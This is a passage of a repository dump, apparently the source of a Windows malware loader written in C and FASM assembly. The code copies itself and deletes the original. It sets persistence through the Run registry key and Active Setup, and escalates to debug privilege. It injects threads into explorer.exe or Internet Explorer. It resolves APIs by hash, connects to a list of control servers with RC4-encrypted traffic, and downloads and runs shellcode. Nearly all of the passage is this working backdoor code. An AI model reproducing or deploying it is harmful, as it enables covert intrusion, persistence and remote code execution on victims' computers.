(x64_global_data->xlstrcmpiW(global_data->loader_path, path) != 0) {\n    if (!x64_global_data->xCopyFileW(global_data->loader_path, path, true)) return;\n\n    if (global_data->melt) {\n      x64_global_data->xDeleteFileW(global_data->loader_path);\n    }\n\n    x64_global_data->xRtlZeroMemory(global_data->loader_path, sizeof(global_data->loader_path));\n    x64_global_data->xlstrcpyW(global_data->loader_path, path);\n  }\n}\n\nvoid copy_self_x64_end() {\n  printf(__FUNCTION__);\n}\n\nu32 find_process_by_name_x64(x64_global_data_t *x64_global_data, wchar_t *name) {\n  PROCESSENTRY32W pe32;\n  \n  pe32.dwSize = sizeof(pe32);\n  HANDLE tlhandle = x64_global_data->xCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);\n  if (tlhandle == INVALID_HANDLE_VALUE) return 0;\n\n  x64_global_data->xProcess32FirstW(tlhandle, &pe32);\n  while (x64_global_data->xProcess32NextW(tlhandle, &pe32)) {\n    if (x64_global_data->xlstrcmpiW(pe32.szExeFile, name) == 0) {\n      x64_global_data->xCloseHandle(tlhandle);\n      return pe32.th32ProcessID;\n    }\n  }\n\n  x64_global_data->xCloseHandle(tlhandle);\n  return 0;\n}\n\nvoid find_process_by_name_x64_end() {\n  printf(__FUNCTION__);\n}\n\nextern void inject_to_explorer_code_x64_init(global_data_t *global_data, x64_global_data_t *x64_global_data);\n\nvoid __stdcall inject_to_explorer_code_x64(explorer_thread_param_t *param) {\n  global_data_t *global_data = &param->global_data;\n  x64_global_data_t x64_global_data;\n  \n  // inject_to_explorer_code_x64_init\n  inject_to_explorer_code_x64_init(global_data, &x64_global_data);\n\n  // ȴloader˳\n  x64_global_data.xSleep(1000 * 2);\n\n  HANDLE mutex_handle = x64_global_data.xCreateMutexA(0, false, global_data->mutex_name);\n  if (mutex_handle == 0) return;\n\n  if (x64_global_data.xGetLastError() == ERROR_ALREADY_EXISTS) {\n    x64_global_data.xCloseHandle(mutex_handle);\n    return;\n  }\n\n  HANDLE token;\n  TOKEN_PRIVILEGES tkp;\n\n  if (!x64_global_data.xOpenProcessToken(x64_global_data.xGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) return;\n\n  if (!x64_global_data.xLookupPrivilegeValueA(NULL, x64_global_data.sedebugname, &tkp.Privileges[0].Luid)) {\n    x64_global_data.xCloseHandle(token);\n    return;\n  }\n\n  tkp.PrivilegeCount = 1;\n  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n  if (!x64_global_data.xAdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {\n    x64_global_data.xCloseHandle(token);\n    return;\n  }\n\n  if (global_data->copy_method != COPY_METHOD_NONE) {\n    global_data->copy_self_x64(&x64_global_data, global_data);\n  }\n\n  if (global_data->startup_hklm) {\n    global_data->add_startup_hklm_x64(&x64_global_data, global_data);\n  }\n\n  if (global_data->startup_acitvex) {\n    global_data->add_startup_activex_x64(&x64_global_data, global_data);\n  }\n\n  // ȡie·\n  wchar_t ie_path[MAX_PATH];\n\n  u32 ret = x64_global_data.xExpandEnvironmentStringsW(x64_global_data.expand_str, ie_path, MAX_PATH);\n  ie_path[ret] = 0;\n\n  HANDLE heap = x64_global_data.xGetProcessHeap();\n  global_data_t *new_global_data = (global_data_t *)x64_global_data.xHeapAlloc(heap, HEAP_ZERO_MEMORY, sizeof(global_data_t));\n\n  for (;;) {\n    HANDLE process = 0;\n\n    if (global_data->inject_to_custom) {\n      for (u32 i = 0; i < INJECT_TIMES; i++) {\n        x64_global_data.xSleep(INJECT_INTERVAL);\n        u32 pid = global_data->find_process_by_name_x64(&x64_global_data, global_data->custom_process_name);\n        if (pid != 0) {\n          process = x64_global_data.xOpenProcess(PROCESS_ALL_ACCESS, false, pid);\n          if (process != 0) break;\n        }\n      }\n    }\n\n    // ע뵽ie\n    if (process == 0) {\n      STARTUPINFOW si;\n      PROCESS_INFORMATION pi;\n\n      x64_global_data.xRtlZeroMemory(&si, sizeof(si));\n      x64_global_data.xRtlZeroMemory(&pi, sizeof(pi));\n\n      si.cb = sizeof(si);\n      si.wShowWindow = SW_SHOWNORMAL;\n\n      if (!x64_global_data.xCreateProcessW(0, ie_path, 0, 0, false, CREATE_SUSPENDED | DETACHED_PROCESS, 0, 0, &si, &pi)) continue;\n\n      x64_global_data.xCloseHandle(pi.hThread);\n      process = pi.hProcess;\n    }\n\n    x64_global_data.xRtlZeroMemory(new_global_data, sizeof(global_data_t));\n    x64_global_data.xRtlMoveMemory(new_global_data, global_data, sizeof(global_data_t));\n\n    // ޸global_data extrac\n    extra_function_t *extrac_function = &new_global_data->connect_by_socks5;\n    void *temp = 0;\n\n    for (u32 i = 0; i < 15; i++) {\n      if (extrac_function->ptr64 != 0) {\n        temp = x64_global_data.xVirtualAllocEx(process, 0, extrac_function->size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        if (temp == 0) break;\n        if (!x64_global_data.xWriteProcessMemory(process, temp, (void *)extrac_function->ptr64, extrac_function->size, 0)) break;\n        extrac_function->ptr64 = (u64)temp;\n      }\n    }\n    if (temp == 0) continue;\n\n    void *remote_thread, *remote_param;\n\n    remote_thread = x64_global_data.xVirtualAllocEx(process, 0, param->thread_main_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    remote_param = x64_global_data.xVirtualAllocEx(process, 0, sizeof(global_data_t), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    if (remote_thread == 0 || remote_param == 0) continue;\n    if (!x64_global_data.xWriteProcessMemory(process, remote_thread, (void *)param->thread_main, param->thread_main_size, 0)) continue;\n    if (!x64_global_data.xWriteProcessMemory(process, remote_param, new_global_data, sizeof(global_data_t), 0)) continue;\n\n    HANDLE thread = x64_global_data.xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, remote_param, 0, 0);\n    if (thread == 0) continue;\n\n    x64_global_data.xCloseHandle(process);\n\n    if (global_data->persistence) {\n      x64_global_data.xWaitForSingleObject(thread, INFINITE);\n      x64_global_data.xCloseHandle(thread);\n    }\n    else {\n      x64_global_data.xCloseHandle(thread);\n      break;\n    }\n  }\n\n  x64_global_data.xHeapFree(heap, 0, new_global_data);\n}\n\n// ⲿfasmд\nvoid inject_to_explorer_code_x64_init(global_data_t *global_data, x64_global_data_t *x64_global_data) {\n  printf(\"%S\", global_data->activex_name);\n  printf(\"%p\", x64_global_data->kernel32);\n  printf(__FUNCTION__);\n}\n\nvoid x64_code_save() {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)add_startup_hklm_x64;\n  end = (char *)add_startup_hklm_x64_end;\n\n  printf(\"[*] add_startup_hklm_x64 code size = 0x%X\\n\", end - start);\n\n  f = fopen(\"add_startup_hklm_x64.bin\", \"wb\");\n\n  u16 temp = offsetof(global_data_t, add_startup_hklm_x64);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  char *str = \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\";\n\n  temp = end - start + lstrlenA(str) + 1;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fwrite(str, 1, lstrlenA(str) + 1, f);\n\n  fclose(f);\n\n  printf(\"[*] save add_startup_hklm_x64 to add_startup_hklm_x64.bin success.\\n\");\n\n  start = (char *)add_startup_activex_x64;\n  end = (char *)add_startup_activex_x64_end;\n\n  printf(\"[*] add_startup_activex_x64 code size = 0x%X\\n\", end - start);\n\n  f = fopen(\"add_startup_activex_x64.bin\", \"wb\");\n\n  temp = offsetof(global_data_t, add_startup_activex_x64);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  str = \"SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\";\n  temp = end - start + lstrlenA(str) + 1;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fwrite(str, 1, lstrlenA(str) + 1, f);\n\n  fclose(f);\n\n  printf(\"[*] save add_startup_activex_x64 to add_startup_activex_x64.bin success.\\n\");\n  \n  start = (char *)copy_self_x64;\n  end = (char *)copy_self_x64_end;\n\n  printf(\"[*] copy_self_x64 code size = 0x%X\\n\", end - start);\n\n  f = fopen(\"copy_self_x64.bin\", \"wb\");\n\n  temp = offsetof(global_data_t, copy_self_x64);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  temp = end - start;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save copy_self_x64 to copy_self_x64.bin success.\\n\");\n\n  start = (char *)find_process_by_name_x64;\n  end = (char *)find_process_by_name_x64_end;\n\n  printf(\"[*] find_process_by_name_x64 code size = 0x%X\\n\", end - start);\n\n  f = fopen(\"find_process_by_name_x64.bin\", \"wb\");\n\n  temp = offsetof(global_data_t, find_process_by_name_x64);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  temp = end - start;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save find_process_by_name_x64 to find_process_by_name_x64.bin success.\\n\");\n\n  start = (char *)inject_to_explorer_code_x64;\n  end = (char *)inject_to_explorer_code_x64_init;\n\n  printf(\"[*] inject_to_explorer_code_x64 code size = 0x%X\\n\", end - start + 594);\n\n  f = fopen(\"inject_to_explorer_code_x64.bin\", \"wb\");\n\n  temp = offsetof(global_data_t, inject_to_explorer_code_x64);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  // 628 = init code size\n  temp = end - start + 594;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save inject_to_explorer_code_x64 to inject_to_explorer_code_x64.bin success.\\n\");\n}\n\n#pragma optimize(\"ts\", off)\n\n#endif"
  },
  {
    "path": "loader v1.0/loader_function/loader_function.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2013\nVisualStudioVersion = 12.0.31101.0\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"loader_function\", \"loader_function\\loader_function.vcxproj\", \"{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Win32 = Release|Win32\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|x64.Build.0 = Debug|x64\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|Win32.Build.0 = Release|Win32\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|x64.ActiveCfg = Release|x64\n\t\t{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|x64.Build.0 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "loader v1.0/loader_main/loader_main.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\n; 修复api\n\n; 拷贝config到全局\n\n; 修复额外函数\n\nproc loader_main uses esi edi ebx\n\tlocals\n\t\tglobal_data\tglobal_data_t\t?\n\tendl\n\n\t; 清空globaldata\n\tcld\n\txor al, al\n\tmov ecx, sizeof.global_data_t\n\tlea edi, [global_data]\n\trep stosb\n\n\t; 初始化dll句柄\n\tmov eax, [fs:0x30]\n\tmov eax, [eax + 0x0c]\n\tmov eax, [eax + 0x14]\n\tmov eax, [eax]\n\n\tpush dword [eax + 0x10]\n\tpop [global_data.ntdll]\n\n\tmov eax, [eax]\n\tpush dword [eax + 0x10]\n\tpop [global_data.kernel32]\n\n\t; 获取GetProcAddress与LoadLibraryA地址\n\tpush 0\n\tPUSH_HASH GetProcAddress\n\tpush dword [eax + 0x10]\n\tcall get_proc_from_hash\n\tmov [global_data.GetProcAddress], eax\n\n\tpush eax\n\tPUSH_HASH LoadLibraryA\n\tpush [global_data.kernel32]\n\tcall get_proc_from_hash\n\tmov [global_data.LoadLibraryA], eax\n\n    PUSH_ANSI_STRING 'advapi32'\n    call [global_data.LoadLibraryA]\n    mov [global_data.advapi32], eax\n\n    call .push_api_table\n\n\tAPI_HASH_TABLE kernel32,\\\n\t\tGetCurrentProcess, CloseHandle, OpenProcess, lstrlenA, lstrlenW, lstrcatW, lstrcpyA, lstrcpyW, lstrcmpiW,\\\n\t\tHeapAlloc, HeapReAlloc, HeapFree, GetProcessHeap, GetModuleHandleA, GetModuleFileNameW, CreateMutexA, GetLastError, Sleep,\\\n\t\tVirtualAllocEx, VirtualFreeEx, WriteProcessMemory, WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,\\\n\t\tExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread, GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW\n\n\tAPI_HASH_TABLE ntdll,\\\n\t\tRtlZeroMemory, RtlMoveMemory, RtlCompressBuffer, RtlGetCompressionWorkSpaceSize, RtlDecompressBuffer\n\n\tAPI_HASH_TABLE advapi32,\\\n\t\tOpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey\n\t\n\tAPI_HASH_TABLE_END\n\n.push_api_table:\n\tpop esi\n\n\tassume esi: api_hash_t\n\n\tmov edi, [global_data.GetProcAddress]\n\t.while word [esi] <> 0\n\t\tmovzx ecx, [esi.lib_offset]\n\t\tstdcall get_proc_from_hash, [global_data + ecx], [esi.hash], edi\n\t\tmovzx ecx, [esi.save_offset]\n\t\tmov [global_data + ecx], eax\n\t\tadd esi, sizeof.api_hash_t\n\t.endw\n\n\tcall @@1\n@@1:\n\tadd dword [esp], config_data - @@1\n\tpop esi\n\t\n\tlea edi, [global_data]\n\n\tassume esi: config_t\n\n\t.while word [esi] <> 0\n\t\tmovzx eax, [esi.save_offset]\n\t\tadd eax, edi\n\t\tmovzx ebx, [esi.size]\n\t\tadd esi, sizeof.config_t\n\t\tinvoke global_data.RtlMoveMemory, eax, esi, ebx\n\t\tadd esi, ebx\n\t.endw\n\t; 跳过结束标志\n\tadd esi, 2\n\n\t; 修复额外的函数\n\tassume esi: function_data_t\n\n\t.while word [esi] <> 0\n\t\tmovzx eax, [esi.save_offset]\n\t\tadd eax, edi\n\t\tmovzx ebx, [esi.func_size]\n\t\tadd esi, sizeof.function_data_t\n\t\tmov [eax], esi\n\t\tmov word [eax + 8], bx\n\t\tadd esi, ebx\n\t.endw\n\n\tlea esi, [global_data]\n\n    assume esi: global_data_t\n    \n\tcall fix_base_function\n\n    ; 获取wow64 cs = 0x23 is wow64, 0x1b is win32\n    mov ax, cs\n    cmp ax, 0x23\n    sete byte [global_data.is_wow64] \n\n    call enable_debug_privilege\n\n    ; 获取loader路径\n    invoke global_data.GetModuleHandleA\n    lea ecx, [global_data.loader_path]\n    invoke global_data.GetModuleFileNameW, eax, ecx, 256\n\n    .if (byte [global_data.inject_to_custom] = true) | (byte [global_data.inject_to_ie] = true)\n        ; 注入到explorer\n        push thread_main_size\n        call .delta\n    .delta:\n        add dword [esp], thread_main - .delta\n        PUSH_WIDE_STRING 'explorer.exe'\n        push esi\n        call [global_data.inject_to_explorer]\n    .else\n        ; 创建互斥体\n        lea eax, [global_data.mutex_name]\n        invoke global_data.CreateMutexA, eax\n        test eax, eax\n        jz .ret\n\n        invoke global_data.GetLastError\n        cmp eax, ERROR_ALREADY_EXISTS\n        je .ret\n\n        mov edi, eax\n\n        ; 拷贝自身\n        .if byte [global_data.copy_method] <> 0\n            invoke global_data.copy_self_x86, esi\n        .endif\n\n        ; 增加启动项\n        .if byte [global_data.startup_hklm] <> 0\n            invoke global_data.add_startup_hklm_x86, esi\n        .endif\n\n        .if byte [global_data.startup_acitvex] <> 0\n            invoke global_data.add_startup_activex_x86, esi\n        .endif\n\n        stdcall thread_main, esi\n\n        invoke global_data.CloseHandle, edi\n    .endif\n\n.ret:\n    ret\nendp\n\nloader_main_size = $ - loader_main ; 防止被优化掉\n\nproc thread_main stdcall uses esi edi, global_data: dword\n    mov esi, [global_data]\n\n    assume esi: global_data_t\n\n    ; 修复基本函数\n    call fix_base_function\n\n    ; 重新加载下advapi32，防止目标进程没有加载\n    PUSH_ANSI_STRING 'advapi32'\n    call [esi.LoadLibraryA]\n\n    ; 修复ws2_32\n    PUSH_ANSI_STRING 'ws2_32'\n    call [esi.LoadLibraryA]\n    mov [esi.ws2_32], eax\n\n    call .ws2_32\n    \n    API_HASH_TABLE ws2_32,\\\n        WSAStartup, WSACleanup, htons, inet_addr, gethostbyname, socket, closesocket, connect, setsockopt, send, recv, select\n    \n    API_HASH_TABLE_END\n    \n.ws2_32:\n    pop edi\n\n    assume edi: api_hash_t\n\n    .while word [edi] <> 0\n        movzx ecx, [edi.lib_offset]\n        stdcall get_proc_from_hash, [esi + ecx], [edi.hash], [esi.GetProcAddress]\n        movzx ecx, [edi.save_offset]\n        mov [esi + ecx], eax\n        add edi, sizeof.api_hash_t\n    .endw\n\n    call enable_debug_privilege\n    call socket_main\nendp\n\nproc socket_main\n    locals\n        wsa             WSADATA         ?\n        s               _SOCKET         ?\n        packet_header   packet_header_t ?\n        shellcode_main  dd              ?\n    endl\n\n    assume esi: global_data_t\n\n    lea eax, [wsa]\n    invoke esi.WSAStartup, 0x0202, eax\n\n    lea ebx, [esi.dns_list]             ; ebx = dns_list\n\n.loop_connect:\n    invoke esi.lstrlenA, ebx            ; eax = host len\n    movzx edx, word [ebx + eax + 1]     ; edx = port\n\n    lea ecx, [ebx + eax + 3]\n    push ecx                            ; 保存下一个地址\n\n    .if byte [esi.socks5] = true\n        invoke esi.connect_by_socks5, ebx, edx\n    .else\n        stdcall connect_server, ebx, edx\n    .endif\n\n    cmp eax, SOCKET_ERROR\n    je .next_host\n\n    mov [s], eax\n    \n    ; 初始化rc4 sbox\n    lea edi, [esi.rc4_key]\n    invoke esi.lstrlenA, edi\n    push eax\n\n    push eax\n    push edi\n    lea ecx, [esi.send_sbox]\n    push ecx\n    call rc4_init\n\n    push edi\n    lea ecx, [esi.recv_sbox]\n    push ecx\n    call rc4_init\n\n    xor edi, edi\n\n    ; 初始化packet_header\n    rdtsc\n    mov [packet_header.random], eax\n    mov [packet_header.signature], PACKET_HEADER_SIGNATURE\n    mov [packet_header.cmd], CMD_SHELLCODE_MAIN\n    mov [packet_header.packet_unpacked_size], 0\n    mov [packet_header.packet_size], 0\n\n    ; 加密\n    lea ebx, [packet_header]\n    lea ecx, [esi.send_sbox]\n    stdcall rc4_crypt, ecx, ebx, sizeof.packet_header_t\n\n    ; 发送请求\n    stdcall send_data, esi, [s], ebx, sizeof.packet_header_t\n    cmp eax, SOCKET_ERROR\n    je .next_host_closesocket\n\n    ; 等待接收数据\n    stdcall wait_buffer, esi, [s], WAIT_TIMEOUT, 0\n    cmp eax, 0\n    jle .next_host_closesocket\n\n    ; 接收包头\n    stdcall recv_data, esi, [s], ebx, sizeof.packet_header_t\n    cmp eax, SOCKET_ERROR\n    je .next_host_closesocket\n\n    ; 解密包头\n    lea ecx, [esi.recv_sbox]\n    stdcall rc4_crypt, ecx, ebx, sizeof.packet_header_t\n\n    ; 判断数据包\n    .if (dword [packet_header.signature] = PACKET_HEADER_SIGNATURE) & (byte [packet_header.cmd] = CMD_SHELLCODE_MAIN)\n        stdcall alloc_memory, esi, [packet_header.packet_size]\n        mov edi, eax\n\n        stdcall recv_data, esi, [s], eax, [packet_header.packet_size]\n        cmp eax, SOCKET_ERROR\n        je .next_host_closesocket\n\n        lea ecx, [esi.recv_sbox]\n        stdcall rc4_crypt, ecx, edi, [packet_header.packet_size]\n\n    .alloc_next:\n        stdcall alloc_executable_memory, esi, 0, [packet_header.packet_unpacked_size]\n        cmp eax, 0\n        je .alloc_next\n\n        mov [shellcode_main], eax\n\n        mov eax, [packet_header.packet_size]\n        .if [packet_header.packet_unpacked_size] = eax\n            invoke esi.RtlMoveMemory, [shellcode_main], edi, [packet_header.packet_size]\n        .else\n            stdcall decompress, esi, edi, [packet_header.packet_size], [shellcode_main], [packet_header.packet_unpacked_size]\n            .if eax = 0\n                stdcall free_executable_memory, esi, 0, [shellcode_main]\n                mov [shellcode_main], 0\n            .endif\n        .endif\n\n        .if [shellcode_main] <> 0\n            invoke shellcode_main, esi, [s]\n            stdcall free_executable_memory, esi, 0, [shellcode_main]\n            mov [shellcode_main], 0\n        .endif\n    .endif\n\n.next_host_closesocket:\n    .if edi <> 0\n        stdcall free_memory, esi, edi\n    .endif\n\n    invoke esi.closesocket, [s]\n\n.next_host:\n    pop ebx\n    .if byte [ebx] = 0\n        lea ebx, [esi.dns_list]\n    .endif\n\n    invoke esi.Sleep, CONNECT_INTERVAL\n    jmp .loop_connect\n\n.ret:\n    invoke esi.WSACleanup\n    ret\nendp\n\n; 修复基本函数\nproc fix_base_function uses esi\n\tmov edi, esi\n\tadd edi, BASE_FUNCTION_START\n\tcall .push_base_function_table\n\tBASE_FUNCTION_TABLE get_proc_from_hash,\\\n\t\trc4_init, rc4_crypt,\\\n\t\talloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\\\n\t\tcompress, decompress,\\\n\t\twait_buffer, recv_data, send_data,\\\n\t\tconnect_server\n.push_base_function_table:\n\tpop esi\n\txor ecx, ecx\n\t.while ecx < BASE_FUNCTION_COUNT\n\t\txor eax, eax\n\t\tlodsw\n\t\tlea eax, [esi + eax]\n\t\tstosd\n\t\tinc ecx\n\t.endw\n\n\tret\nendp\n\n; 提升进程权限\nproc enable_debug_privilege\n\tlocals\n\t\ttoken\t_HANDLE\t\t\t\t?\n\t\ttkp\t\tTOKEN_PRIVILEGES\t?\n\tendl\n\n\tassume esi: global_data_t\n\n\tinvoke esi.GetCurrentProcess\n\n\tlea ecx, [token]\n\tinvoke esi.OpenProcessToken, eax, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, ecx\n\t.if eax\n\t\tlea ecx, [tkp.Privileges.Luid]\n\t\tpush ecx\n\t\tPUSH_ANSI_STRING 'SeDebugPrivilege'\n\t\tpush 0\n\t\tcall [esi.LookupPrivilegeValueA]\n\t\t.if eax\n\t\t\tmov [tkp.PrivilegeCount], 1\n\t\t\tmov [tkp.Privileges.Attributes], SE_PRIVILEGE_ENABLED\n\t\t\tlea ecx, [tkp]\n\t\t\tinvoke esi.AdjustTokenPrivileges, [token], false, ecx, sizeof.TOKEN_PRIVILEGES, 0, 0\n\t\t.endif\n\n\t\tinvoke esi.CloseHandle, [token]\n\t.endif\n\n\tret\nendp\n\n; 基础函数\n; ======================================================================================================================\n\n; get_proc_from_hash\nproc get_proc_from_hash stdcall uses ebx esi edi, module_handle: dword, func_hash: dword, get_proc:dword\n    locals\n        address_functions      dd  ?\n        address_name_ords      dd  ?\n        address_names          dd  ?\n    endl\n    \n    mov ecx, [module_handle]\n    mov edx, [ecx + 0x3c]\n    \n    mov eax, [edx + ecx + 0x78]\t\t; export rva\n    test eax, eax\n    jz .not_found\n    \n    cmp dword [edx + ecx + 0x7c], 0\t; check export dict\n    jz .not_found\n    \n    mov ebx, [eax + ecx + 0x18]\t\t; number of names\n    test ebx, ebx\n    jz .not_found\n    \n    mov edx, [eax + ecx + 0x1c]\n    add edx, ecx\n    mov [address_functions], edx\n    \n    mov esi, [eax + ecx + 0x20]\n    add esi, ecx\n    mov [address_names], esi\n    \n    mov eax, [eax + ecx + 0x24]\n    add eax, ecx\n    mov [address_name_ords], eax\n    \n    xor edx, edx    ; counter\n.next_function:\n    mov edi, [esi + edx * 4]\n    xor esi, esi\n    add edi, ecx\n    \n    mov al, [edi]\n    test al, al\n    jz .calc_finish\n    \n    mov ecx, edi\n.calc_hash:\n    imul esi, 131\n    movsx eax, al\n    add esi, eax\n    inc ecx\n    \n    mov al, [ecx]\n    test al, al\n    jnz .calc_hash\n    mov ecx, [module_handle]\n\n.calc_finish:\n    and esi, 0x7fffffff\n    cmp esi, [func_hash]\n    jz .found\n    \n    mov esi, [address_names]\n    inc edx\n    cmp edx, ebx\n    jb .next_function\n    \n.not_found:\n    xor eax, eax\n    \n.ret:\n    ret\n    \n.found:\n    cmp [get_proc], 0\n    jnz .get_proc\n    \n    mov eax, [address_name_ords]\n    movzx eax, word [eax + edx * 2]\n    mov edx, [address_functions]\n    mov eax, [edx + eax * 4]\n    add eax, ecx\n    jmp .ret\n    \n.get_proc:\n    push edi\n    push ecx\n    call [get_proc]\n    jmp .ret   \nendp\n\n; 偷个懒直接用vs生成\n; proc rc4_init stdcall uses esi edi ebx, sbox: dword, key: dword, key_len: dword\nrc4_init:\n\tfile 'rc4_init.bin'\n\n; proc rc4_crypt stdcall uses esi edx ebx, sbox: dword, buf: dword, buf_len: dword\nrc4_crypt:\n\tfile 'rc4_crypt.bin'\n\n; 申请内存\nproc alloc_memory stdcall uses esi edi, global_data: dword, size: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    invoke esi.GetProcessHeap\n    mov edi, eax\n    xor eax, eax\n    .while eax = 0\n        invoke esi.HeapAlloc, edi, HEAP_ZERO_MEMORY, [size]\n    .endw\n    \n    ret\nendp\n\n; 重新申请内存\nproc realloc_memory stdcall uses esi edi, global_data: dword, data: dword, nsize: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    .if [data] = 0\n        invoke esi.alloc_memory, esi, [nsize]\n    .else\n        invoke esi.GetProcessHeap\n        mov edi, eax\n        xor eax, eax\n        .while eax = 0\n            invoke esi.HeapReAlloc, edi, HEAP_ZERO_MEMORY, [data], [nsize]\n        .endw\n    .endif\n    ret\nendp\n\n; 释放内存\nproc free_memory stdcall uses esi, global_data: dword, data: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    invoke esi.GetProcessHeap\n    invoke esi.HeapFree, eax, 0, [data]\n    \n    ret    \nendp\n\n; 申请可执行内存\nproc alloc_executable_memory stdcall uses esi, global_data: dword, process: dword, size: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    .if [process] = 0\n        invoke esi.GetCurrentProcess\n        mov [process], eax\n    .endif\n    \n    invoke esi.VirtualAllocEx, [process], 0, [size], MEM_COMMIT, PAGE_EXECUTE_READWRITE\n    ret\nendp\n\n; 释放可执行内存\nproc free_executable_memory stdcall uses esi, global_data: dword, process: dword, base: dword\n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    .if [process] = 0\n        invoke esi.GetCurrentProcess\n        mov [process], eax\n    .endif\n    \n    invoke esi.VirtualFreeEx, [process], [base], 0, MEM_RELEASE\n    ret        \nendp\n\n; if fail return zero else return compressed size\nproc compress stdcall uses esi edi, global_data: dword, src: dword, src_len: dword, dest: dword, dest_len: dword\n    locals\n        compressed_size         dd  ?\n        compress_work_size      dd  ?\n        compress_fragment_size  dd  ?\n        \n    endl\n    \n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    lea eax, [compress_work_size]\n    lea ecx, [compress_fragment_size]\n    invoke esi.RtlGetCompressionWorkSpaceSize, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, eax, ecx\n    invoke esi.alloc_memory, esi, [compress_work_size]\n    mov edi, eax\n    \n    lea eax, [compressed_size]\n    invoke esi.RtlCompressBuffer, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, [src], [src_len], [dest], [dest_len], 0, eax, edi\n    \n    invoke esi.free_memory, esi, edi\n    \n    .if eax, ge, 0\n        mov eax, [compressed_size]\n    .else\n        xor eax, eax\n    .endif    \n    \n    ret\nendp\n\n; if fail return zero else return compressed size\nproc decompress stdcall uses esi, global_data: dword, src: dword, src_len: dword, dest: dword, dest_len: dword\n    locals\n        uncompressed_size dd  ?\n    endl\n    \n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    lea eax, [uncompressed_size]\n    invoke esi.RtlDecompressBuffer, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, [dest], [dest_len], [src], [src_len], eax\n    \n    .if eax, ge, 0\n        mov eax, [uncompressed_size]\n    .else\n        xor eax, eax\n    .endif\n    \n    ret    \nendp\n\n; wait buffer come in, if timeout return 0, if error return SOCKET_ERROR\nproc wait_buffer stdcall uses esi, global_data: dword, s: dword, seconds: dword, microsecond: dword\n    locals\n        fds FD_SET  ?\n        tv  TIMEVAL ?\n    endl\n    \n    mov esi, [global_data]\n    \n    assume esi: global_data_t\n    \n    mov [fds.fd_count], 1\n    push dword [s]\n    pop dword [fds.fd_array]\n    \n    xor edx, 